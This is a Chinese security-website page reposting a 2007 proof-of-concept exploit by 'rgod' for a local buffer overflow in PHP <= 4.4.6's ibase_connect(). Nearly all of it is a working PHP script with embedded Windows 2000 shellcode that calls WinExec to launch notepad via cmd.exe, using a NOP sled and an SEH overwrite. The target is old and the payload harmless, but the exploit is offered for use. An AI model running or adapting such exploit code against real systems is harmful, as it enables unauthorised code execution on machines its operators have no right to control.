首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP <= 4.4.6 ibase_connect() Local Buffer Overflow Exploit
来源:http://retrogod.altervista.org 作者:rgod 发布时间:2007-03-16  
<?php
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
// poc exploit
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org


if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$jmp="\xeb\xa1\xff\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jmp.$eip;
ibase_connect($____suntzu);

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CcMail 1.0.1 (update.php funct
·OpenBSD ICMPv6 Fragment Remote
·PHP 5.2.0/5.2.1 Rejected Sessi
·Net Portal Dynamic System (NPD
·PHP <= 5.2.1 session_regenerat
·Guestbara <= 1.2 Change Admin
·WarFTP 1.65 (USER) Remote Buff
·ScriptMagix FAQ Builder <= 2.0
·ZomPlog <= 3.7.6 Local File In
·ScriptMagix Recipes <= 2.0 (in
·WSN Guest 1.21 (comments.php i
·ScriptMagix Photo Rating <= 2.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved